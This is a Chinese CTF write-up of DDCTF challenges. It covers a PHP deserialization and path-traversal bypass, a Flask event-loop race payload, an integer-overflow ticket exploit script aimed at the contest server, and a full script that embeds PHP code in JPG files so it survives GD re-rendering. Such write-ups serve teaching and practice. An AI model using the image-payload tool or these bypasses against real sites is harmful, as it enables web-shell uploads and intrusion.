0x01前言

这周打了DDCTF,菜狗自闭,很多题明明想到了思路,测试的时候zz没试出来已开始,果然还是题目做少了,这里记录下。

0x02正文

一.滴

zz出题人,真的辣鸡题目

解两次base,再解16进制编码可以读到文件。

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

再接下来就卡主了,后来北方姐姐翻出题人csdn发现practice.txt.swp泄露,醉。之后就简单了,访问知道了文件名,就在这个目录下,编码后读文件,得到可以传两个空值就能绕过,拿到flag。

二.Web签到题

额还是比较简单,但是我傻逼了有个点看半天,抓包看到他是ajax发请求,我们将didictf_username设为admin,然后得到源码,源码审计有两个文件。

Application.php

<?php

Class Application
{
    var $path = '';

    public function response($data, $errMsg = 'success')
    {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth()
    {
        $DIDICTF_ADMIN = 'admin';
        if (!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        } else {
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----', 'error');
            exit();
        }

    }

    private function sanitizepath($path)
    {
        $path = trim($path);
        $path = str_replace('../', '', $path);
        $path = str_replace('..\\', '', $path);
        return $path;
    }

    public function __destruct()
    {
        if (empty($this->path)) {
            exit();
        } else {
            $path = $this->sanitizepath($this->path);
            if (strlen($path) !== 18) {
                exit();
            }
            $this->response($data = file_get_contents($path), 'Congratulations');
        }
        exit();
    }
}
?>

Session.php

<?php
include 'Application.php';

class Session extends Application
{

    //key建议为8位字符串
    var $eancrykey = '';
    var $cookie_expiration = 7200;
    var $cookie_name = 'ddctf_id';
    var $cookie_path = '';
    var $cookie_domain = '';
    var $cookie_secure = FALSE;
    var $activity = "DiDiCTF";


    public function index()
    {
        if (parent::auth()) {
            $this->get_key();#获取秘钥
            if ($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data, $_SERVER['HTTP_USER_AGENT']);
                parent::response($data, 'sucess');
            } else {
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data, 'sucess');
            }
        }

    }

    private function get_key()
    {
        //eancrykey  and flag under the folder
        $this->eancrykey = file_get_contents('../config/key.txt');
    }

    public function session_read()
    {
        if (empty($_COOKIE)) {
            return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if (!isset($session)) {
            parent::response("session not found", 'error');
            return FALSE;
        }
        $hash = substr($session, strlen($session) - 32);
        $session = substr($session, 0, strlen($session) - 32);

        if ($hash !== md5($this->eancrykey . $session)) {
            parent::response("the cookie data not match", 'error');
            return FALSE;
        }
        $session = unserialize($session);


        if (!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])) {
            return FALSE;
        }

        if (!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"], $this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data, $v);#%s获得秘钥
            }
            parent::response($data, "Welcome");
        }

        if ($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match' . 'error');
            return FALSE;
        }
        if ($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match', 'error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create()
    {
        $sessionid = '';
        while (strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0, mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid, TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );

    }
}


$ddctf = new Session();
$ddctf->index();

审第一个文件看到在他的析构函数当中可以读文件,果断感觉是反序列化,再看第二个文件重点是如何获取秘钥

关键点在这里

if (!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"], $this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data, $v);#%s获得秘钥
    }
    parent::response($data, "Welcome");
}

这里我们需要访问app/Session.php post一个nickname=%s,然后带上之前的Cookie:ddctf_id。didictf_username设为admin,拿到eancrykey。拿到eancrykey就简单了,就可以构造反序列化,大概猜了下flag的路径,然后利用双写可以绕过str_replace,构造反序列化后进行md5再拼接session,传拿到flag

$tmp = new Application();#EzblrbNS
$tmp->path = '....//config/flag.txt';
$result = serialize($tmp);
echo $result;
$eancrykey = 'EzblrbNS';
echo md5($eancrykey.$result);

三.homebrew event loop

下载源码进行分析

# -*- encoding: utf-8 -*-
# written in python 2.7
#?action:trigger_event%23;action:buy;5%23action:get_flag;
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af31f86147e857'


def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:] #如果log数组超过5个那么就取后五个
    if type(event) == type([]): #将事件添加到event_queue中
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):#截取prefix和postfix中间的值
    haystack = haystack[haystack.find(prefix) + len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException: pass


def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue #必须是以action:或者func:开头
        for c in event: #event中必须是有效字符
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a' #判断event是不是a开头
            action = get_mid_str(event, ':', ';') #取action:后面的动作
            args = get_mid_str(event, action + ';').split('#') #取元素,切割为队列
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function')) #根据是否为action判断执行哪个函数
                ret_val = event_handler(args) #传参
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None: #如果有返回值就将ret_val加给resp
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix + '/')
def entry_point():
    querystring = urllib.unquote(request.query_string) #?后面的语句
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()


# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<',
                                                                                                              '&lt;').replace(
                    '>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
                    #['action:buy;5','action:get_flag;']

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException() #如果剩下的钱比消费的少就回滚报错
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

注意这里的后端是flask,关于flask有ssti,flask客户端session问题,这里就是涉及到客户端session问题。

这里他写了一个事件循环,我们可以买东西,只有三块钱但是要求买五个才出flag,他的逻辑就有问题,程序先是买再判断是否正确进行回滚,两者分为两个时间传递进循环池中,我们就可以在其回滚前就打印flag,可以利用session['log']客户端session进行解密,将flag信息打印到log中,这里我们利用eval()这个危险函数,可以用#进行截断后面的拼接,但是前面白名单过滤,也就是说我们无法引入其他库函数,只能调用本地函数,又无法有小括号,中括号进行传递数组,于是利用split以及trigger_event进行触发show_flag将其打印入log中,

总结下

  1. 利用eval()执行,#截断
  2. 利用事件循环的逻辑漏洞,可以利用trigger_event传数组,在回滚前触发get_flag
  3. 利用客户端session读到flag

所以payload为:

?action:trigger_event%23;action:buy;5%23action:get_flag;

写了一堆但是payload很简单,然后burp抓包抓到session利用网上的脚本进行解密就能拿到flag了,脚本如下:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

四.Upload-IMG

这题就反映出我经验太少,上传图片后,没有去看返回的文件,里面包含了大量信息,shell之所以无法执行是因为gd库将图片进行渲染导致shell偏移,网上有两个方法,一个是比对是否有没有改变的地方将shell写到那里,二是利用他的算法漏洞,网上有脚本这里帖一下

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
    caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed
    image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    php jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
    initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?echo'<?phpinfo();?>';?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

这里先上传图片(尽量大一点),将返回的图片下载下来,再利用脚本处理,再上传就可以避免被gd库渲染了。

五.大吉大利,今晚吃鸡

跟护网杯的辣条之王很想,观察到后端是go的当时就想的是整数溢出,条件竞争,但是溢出的时候试错数字了。。。

ticket_price=4294967296,就是2的32次放就能买到票,买到后你只知道自己的id,和ticket不知道别人的没法杀,所以需要注册小号,就能自己杀自己,但是会有可能失败,所以需要写脚本了。

import requests
import time
ans=[]
for i in range(5000,5100):
    url="http://117.51.147.155:5050/ctf/api/register?name=kirin%sa&password=12345678" %i
    r=requests.get(url)
    url="http://117.51.147.155:5050/ctf/api/login?name=kirin%sa&password=12345678" %i
    print url
    time.sleep(0.1)
    r=requests.get(url)
    cookie=r.headers['Set-Cookie'].replace(" Path=/, ","").replace("; Path=/","")
    header={
    "Host": "117.51.147.155:5050",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv\":6\"6.0) Gecko/20100101 Firefox/66.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    'Cookie':cookie,
    "Upgrade-Insecure-Requests": "1"}
    url2="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
    print url2
    r2=requests.get(url2,headers=header)
    time.sleep(0.1)
    bill_id=r2.json()['data'][0]['bill_id']
    url3="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s" %bill_id
    print url3
    r3=requests.get(url3,headers=header)
    l=r3.json()['data'][0]
    time.sleep(0.2)
    header={
      "Host": "117.51.147.155:5050",
      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv\":6\"6.0) Gecko/20100101 Firefox/66.0",
      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
      "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
      "Accept-Encoding": "gzip, deflate",
      "Connection": "keep-alive",
      'Cookie':'user_name=kir; REVEL_SESSION=702e139613872d0e2a5278f03345bae4',
      "Upgrade-Insecure-Requests": "1"}
    url="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s" %(str(l['your_id']),l['your_ticket'])
    print url
    r=requests.get(url,headers=header)
    print r.json()
    time.sleep(0.2)

 

六.wirdshark

很简单的流量分析,主要关注http流量大致流量他是用一个http://tools.jb51.net/aideddesign/img_add_info加密,我们可以下载出两章图片,有一张钥匙的改下高度看到秘钥,用这个网站解密即可。

0x03总结

去刷题了不说了,哭